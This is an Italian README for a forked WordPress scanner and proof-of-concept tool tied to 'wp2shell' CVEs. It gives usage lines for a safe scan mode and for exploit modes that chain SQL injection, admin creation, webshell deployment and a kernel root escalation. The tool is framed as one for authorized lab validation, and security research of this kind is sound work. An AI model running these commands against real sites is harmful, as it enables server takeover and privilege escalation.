wp2shell-scanner

di @bahartanir (katherinepierce) Fork di ZephrFish/wp2shell-scanner con miglioramenti aggiuntivi. Ricerca di Adam Kues (Assetnote) e Mustafa Can İPEKÇİ (nukedx).

Strumenti di rilevamento e validazione per l'esposizione del core di WordPress a wp2shell (CVE-2026-63030 / CVE-2026-60137). Le modalità sono selezionate con un flag e il target è posizionale. --scan rileva la versione del core e conferma che la route REST /batch/v1 sia raggiungibile senza inviare un payload di exploit; le modalità --check/--read/--shell/--rce/--root-prereq sono il PoC di validazione per uso autorizzato in laboratorio.

wp2shell.py è uno script singolo che utilizza solo la libreria standard — nessuna dipendenza esterna. Ogni invocazione stampa il banner su stderr prima di eseguire (rimane fuori da stdout, quindi l'output JSON di --scan -j non viene influenzato).

Flag dei comandi

È richiesto esattamente un flag di modalità; il target è posizionale (un URL per ogni modalità, o un elenco di host per --scan).

Sinossi

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Flag di modalità (scegli uno)

Flag opzionali

Approfondimento originale: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Template Nuclei

nuclei -t wp2shell-exposure.yaml -u https://target

Scansione (non distruttiva)

Singolo host, più host o un file.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Opzioni: -f/--file file host (uno per riga), -j/--json output JSON, -t/--threads concorrenza (default 10).

PoC di validazione

Le modalità --check/--read/--shell/--rce/--root-prereq inviano payload di exploit attivi. Eseguile solo contro il laboratorio localhost in bundle, o altri sistemi di tua proprietà e per i quali sei esplicitamente autorizzato a testare. --shell e --rce eseguono codice in remoto e sono destinate al laboratorio/target autorizzati; --rce su un host non loopback richiede --authorized. --root-prereq utilizza lo stesso plugin diagnostico token-gated per controllare i prerequisiti shell-to-root, ma non esegue un escalation di privilegi locale.

--shell necessita di una password admin recuperata/crackata. --rce è la catena pre-autenticazione senza credenziali: crea il proprio amministratore tramite SQLi (oEmbed → changeset → parse_request rientrante), poi distribuisce la webshell — nessuna password richiesta.

--shell, --rce e --root-prereq richiedono un'autorizzazione interattiva y/N prima che qualsiasi payload di esecuzione codice venga inviato (interrompono su stdin non interattivo/EOF). Passa -y/--yes per saltare il prompt per automazione contro il laboratorio o un target autorizzato.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

I diff delle patch utilizzati per fondare il PoC sono salvati in poc/diffs/, con note di ricerca in poc/RESEARCH.md. La SQLi è completamente ricostruibile dalla correzione author__not_in. La catena --rce senza credenziali (oEmbed → changeset → re-entry → creazione admin) riproduce la RCE stock-default contro il laboratorio in bundle; --shell è il percorso alternativo tramite una credenziale admin recuperata/crackata per il caricamento autenticato di plugin e l'esecuzione di comandi.

Escalation di privilegi locale (--lpe)

--lpe incatena la RCE pre-autenticazione completa (SQLi → creazione admin → webshell) con un tentativo di escalation root automatico. Prova i seguenti in ordine, fermandosi al primo successo:

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

--lpe su un target non loopback richiede --authorized. Sul laboratorio in bundle (immagine base Ubuntu 22.04 con un kernel GameOverlay vulnerabile) CVE-2023-2640/32629 ha successo senza compilatore.